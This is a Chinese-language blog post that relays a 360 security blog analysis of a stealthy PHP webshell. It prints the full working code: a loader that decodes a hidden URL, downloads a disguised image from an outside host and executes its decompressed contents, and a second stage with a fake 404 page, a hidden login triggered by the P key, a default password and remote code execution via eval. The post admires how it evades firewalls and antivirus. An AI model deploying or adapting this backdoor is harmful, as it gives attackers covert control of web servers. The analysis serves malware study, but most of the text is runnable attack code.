本文是在鲜果订阅里看到来自freebuf站点的内容,而该文的原出处来自于360博客 。虽然本人对php代码的了解挺皮毛,不过感觉该木马的思路非常有意思 。出于围观和膜拜精神,现将该文内容做下摘录,并根据360上分析的步骤操作了一次。

phpwebshell代码如下:

1<?php
2error_reporting(0);
3session_start();
4header(“Content-type:text/html;charset=utf-8″);if(empty($_SESSION['api']))
5$_SESSION['api']=substr(file_get_contents(
6sprintf('%s?%s',pack("H*",
7'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067'),uniqid())),3649);
8@preg_replace(“~(.*)~ies”,gzuncompress($_SESSION['api']),null);
9?>

关键看下面这句代码:

1<?php
2echo gzuncompress(substr(file_get_contents(sprintf('%s?%s',pack("H*",
3'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067'),uniqid())),3649));
4?>

这里执行之后其实是一张图片,解密出来的图片地址如下:http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85

然后调用file_get_contents函数读取图片为字符串,然后substr取3649字节之后的内容,再调用gzuncompress解压,得到真正的代码。最后调用preg_replace的修饰符e来执行恶意代码的。这里执行以下语句来还原出恶意样本代码。不过原作者很警觉也很牛X,等我用360上的方法试的时候,代码解析出的结果已经变了,变成如下:

 1//<?php
 2init();
 3function init()
 4{
 5    echo "<p>密码自从被泄露和360公开分析,所以特此升级了一下~</p>
 6    <p>author:[email protected]</p>
 7    <p>顺便再次鄙视冒充作者的那些无聊人~</p>
 8    <p>代码完善将会在21 22两日左右~请期待~</p>
 9    <p>在写作第一版的时候,技术有限,沉余比较多</p>
10    <p>第一版已经作废,特此公布第一版源码下载地址</p>
11    <p>下载地址:<a href='http://require.duapp.com/v3.rar'>http://require.duapp.com/v3.rar</a></p>
12    <p>第二版代码如下</p>
13    <p>问我叫什么?暂且叫我小e吧。。或者blackbin</p>
14    ";
15    echo file_get_contents('http://require.duapp.com/index2.php');
16}
17// ?>

我按上面的提示去下载源代码时,发现提示403错误,file_get_contents获取的页面也是403禁止访问。源码360博客上也已经做了截图:http://blog.wangzhan.360.cn/wp-content/uploads/2014/03/w1.png ,不过后来我在github上还是找到了该webshell公布的代码,具体可以查看https://github.com/tennc/webshell/tree/master/php/blackbin

下面继续360上的分析:分析这段代码,发现这是一个伪装的404木马(这里实在是太猥琐了…把页面标题改成404 Not Found),其实整个webshell就一个class外加三个function,代码这里我粘一下吧:

  1<?php
  2init();
  3class Crypt
  4{
  5    static function encrypt($str, $key, $toBase64 = false)
  6    {
  7        $r = md5(uniqid());
  8        $c = 0;
  9        $v = "";
 10        $len = strlen($str);
 11        $l = strlen($r);
 12        for ($i = 0; $i < $len; $i++) {
 13            if ($c == $l)
 14                $c = 0;
 15            $v .= substr($r, $c, 1) . (substr($str, $i, 1) ^ substr($r, $c, 1));
 16            $c++;
 17        }
 18        if ($toBase64) {
 19            return gzcompress(self::ed($v, $key));
 20        } else {
 21            return self::ed($v, $key);
 22        }
 23    }
 24    static function decrypt($str, $key, $toBase64 = false)
 25    {
 26        if ($toBase64) {
 27            $str = self::ed(gzuncompress($str), $key);
 28        } else {
 29            $str = self::ed($str, $key);
 30        }
 31        $v = "";
 32        $len = strlen($str);
 33        for ($i = 0; $i < $len; $i++) {
 34            $md5 = substr($str, $i, 1);
 35            $i++;
 36            $v .= (substr($str, $i, 1) ^ $md5);
 37        }
 38        return $v;
 39    }
 40    static function ed($str, $key)
 41    {
 42        $r = md5($key);
 43        $c = 0;
 44        $v = "";
 45        $len = strlen($str);
 46        $l = strlen($r);
 47        for ($i = 0; $i < $len; $i++) {
 48            if ($c == $l)
 49                $c = 0;
 50            $v .= substr($str, $i, 1) ^ substr($r, $c, 1);
 51            $c++;
 52        }
 53        return $v;
 54    }
 55}
 56function init()
 57{
 58     //update
 59     /****
 60     if (!defined("debug") && filesize($_SERVER["SCRIPT_FILENAME"]) != "371") {
 61        $name = basename($_SERVER["SCRIPT_FILENAME"]);
 62        $txt = gzuncompress(_REQUEST(pack('H*',
 63            '687474703a2f2f323031326865696b652e676f6f676c65636f64652e636f6d2f73766e2f7472756e6b2f6d696e692e686b')));
 64        if (true == @file_put_contents($name, $txt)) {
 65            header("location:" . $name);
 66        }
 67    }
 68    ***/
 69    session_start();
 70    set_time_limit(0);
 71    ini_set('memory_limit', -1);
 72    /***
 73    if (strpos($_SERVER['HTTP_USER_AGENT'], 'EBSD') == false) {
 74        header("HTTP/1.1 404 Not Found");
 75        header("Status: 404 Not Found");
 76        exit();
 77    }
 78    ***/
 79    $login = <<< HTML
 80   
 81<head>
 82    <meta http-equiv="content-type" content="text/html" />
 83    <meta name="author" content="Steve Smith" />
 84    <meta http-equiv="content-type" charset="UTF-8" />
 85    <title>404 Not Found</title>
 86    <style>
 87    input{font:11px Verdana;BACKGROUND:#FFFFFF;height:18px;border:1px solid #666666;}
 88    #login{display:none;}
 89    </style>
 90</head>
 91<body>
 92   <div id="notice" style="position:fixed;right:0;border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 15px 5px 5px;display: none; font-size:12px;"></div>
 93   <div id="login">
 94   <form action="" method="POST">
 95   <span style="font:11px Verdana;">
 96       Password:
 97     </span>
 98     <input id="pwd" name="pwd" type="password" size="20" />
 99     <input id="submit" type="button" value="login" />
100   </form>
101  </div>
102<script>
103function $(d) {
104    return document.getElementById(d)
105}
106function sideOut(t) {
107    if(t==null) t=1500;
108    window.setTimeout(display, t);
109    function display() {
110        $("notice").style.display = "none"
111    }
112}
113$("submit").onclick = function() {
114        var pwd = $("pwd").value;
115        var options = {};
116        options.url = '{self}';
117        options.listener = callback;
118        options.method = 'POST';
119        var request = XmlRequest(options);
120        request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
121        if (pwd) request.send('pwd=' + pwd);
122        else{
123            $("notice").style['display']='block';
124            $("notice").innerHTML='DATA-ERROR';
125            sideOut();
126        }
127    }
128function XmlRequest(options) {
129    var req = false;
130    if (window.XMLHttpRequest) {
131        var req = new XMLHttpRequest()
132    } else if (window.ActiveXObject) {
133        var req = new window.ActiveXObject('Microsoft.XMLHTTP')
134    }
135    if (!req) return false;
136    req.onreadystatechange = function() {
137        if (req.readyState == 4 && req.status == 200) {
138            options.listener.call(req)
139        }
140    };
141    req.open(options.method, options.url, true);
142    return req
143}
144function callback() {
145    var json = eval("(" + this.responseText + ")");
146    if (json.status=='on'){
147        window.location.reload();
148        return;
149    }
150    if (json.notice) {
151        $("notice").style.display = "block";
152        $("notice").innerHTML = json.notice;
153        sideOut();
154    }
155}
156document.onkeydown = function(e) {
157            var theEvent = window.event || e;
158            var code = theEvent.keyCode || theEvent.which;
159            if (80 == code) {
160                $("login").style.display = "block"
161            }
162        }
163</script>
164</body>
165</html>
166HTML;
167    if ($_POST['pwd'] == true) {
168        $true = @gzuncompress(gzuncompress(Crypt::decrypt(pack('H*',
169            '789c63d4e5680efdc93c917d65d497f04f219b98cf339d0e3dc01bcb3a23a48a5736808ddd8d5d203094551b0032e00d2c'),
170            $_POST['pwd'], true)));
171        if ('true' == $true) {
172            setcookie('key', $_POST['pwd'], time() + 3600 * 24 * 30);
173            exit('{"status":"on"}');
174        } else {
175            exit('{"notice":"API-ERROR"}');
176        }
177    }
178    if ($_COOKIE['key'] == true) {
179        $true = @gzuncompress(gzuncompress(Crypt::decrypt(pack('H*',
180            '789c63d4e5680efdc93c917d65d497f04f219b98cf339d0e3dc01bcb3a23a48a5736808ddd8d5d203094551b0032e00d2c'),
181            $_COOKIE['key'], true)));
182        if ('true' == $true) {
183            if ($_SESSION['code'] == null) {
184                $_SESSION['code'] = _REQUEST(sprintf("%s?%s",pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f636f64652e6a7067'),uniqid()));
185            } else {
186                $_SESSION['code'] = $_SESSION['code'];
187            }
188            eval(gzuncompress(gzuncompress(Crypt::decrypt($_SESSION['code'], $_COOKIE['key'], true))));
189        }
190    }
191    if ($_COOKIE['key'] == null) {
192        echo str_replace('{self}', $_SERVER["SCRIPT_NAME"], $login);
193        exit();
194    }
195}
196function _Content($fsock = null)
197{
198    $out = null;
199    while ($buff = @fgets($fsock, 2048)) {
200        $out .= $buff;
201    }
202    fclose($fsock);
203    $pos = strpos($out, "rnrn");
204    $head = substr($out, 0, $pos); //http head
205    $status = substr($head, 0, strpos($head, "rn")); //http status line
206    $body = substr($out, $pos + 4, strlen($out) - ($pos + 4)); //page body
207    if (preg_match("/^HTTP/d.ds([d]+)s.*$/", $status, $matches)) {
208        if (intval($matches[1]) / 100 == 2) {
209            return $body;
210        } else {
211            return false;
212        }
213    } else {
214        return false;
215    }
216}
217function _REQUEST($url)
218{
219    $url2 = parse_url($url);
220    $fsock_timeout = 30; //5 second
221    if (($fsock = fsockopen($url2['host'], 80, $errno, $errstr, $fsock_timeout)) < 0) {
222        return false;
223    }
224    $request = $url2["path"];
225    $in = "GET " . $request . " HTTP/1.1rn";
226    $in .= "Accept: */*rn";
227    $in .= "User-Agent: E/1.0 EBSDrn";
228    $in .= "Host: " . $url2["host"] . "rn";
229    $in .= "Connection: Closernrn";
230    if (!@fwrite($fsock, $in, strlen($in))) {
231        fclose($fsock);
232        return false;
233    }
234    return _Content($fsock);
235}
236 ?>

而在这段代码有一段关于document.onkeydown = function(e) …… block的js代码,这里它用document.onkeydown获取用户敲击键盘事件,当code等于80的时候显示login这个div,这里查询了一下keyCode的对照表,查到80对应p和P键。所以触发webshell登陆需要按p键(不按P键页面就是一个空白页,看不到登陆框),如图所示:

w4

而在该段代码的开始定义的两个函数encrypt、decrypt两处,可以看出程序用的是对称加密,并且将登陆密码作为加密key 。而init函数部分是对密码进行的一个认证,默认是demo123456,如果输入的结果是这个,则认证成功,否则失败。

而一旦认证成功,其又同前面一样,会请求出一个图片,pack出来的地址是:http://2012heike.googlecode.com/svn/trunk/code.jpg ,同样,最后会使用_REQUEST获取图片内容,解密解压之后再eval,分析之后发现code.jpg中才是真正的webshell经过加密压缩之后的内容,文件内容就是我上面github里列出的code.php里的内容。这个没什么好说的,在360官方blog上也给出了截图 。

最后的总结,同样引用下360站点上的分析总结:这是一个高度隐蔽的webshell,它没有在其代码中用到一些危险函数和敏感字,而是将真正的shell内容经过层层加密处理之后保存到图片当中,丢到服务器上只留下一个url,并且url还是经过加密处理的,所以对外看没有任何特征可寻,过掉了大多数waf以及杀软的查杀。。作者的利用思路新颖,并且前端后端结合紧密,代码精简,各种奇技淫巧,有别于常见的webshell后门,令人佩服!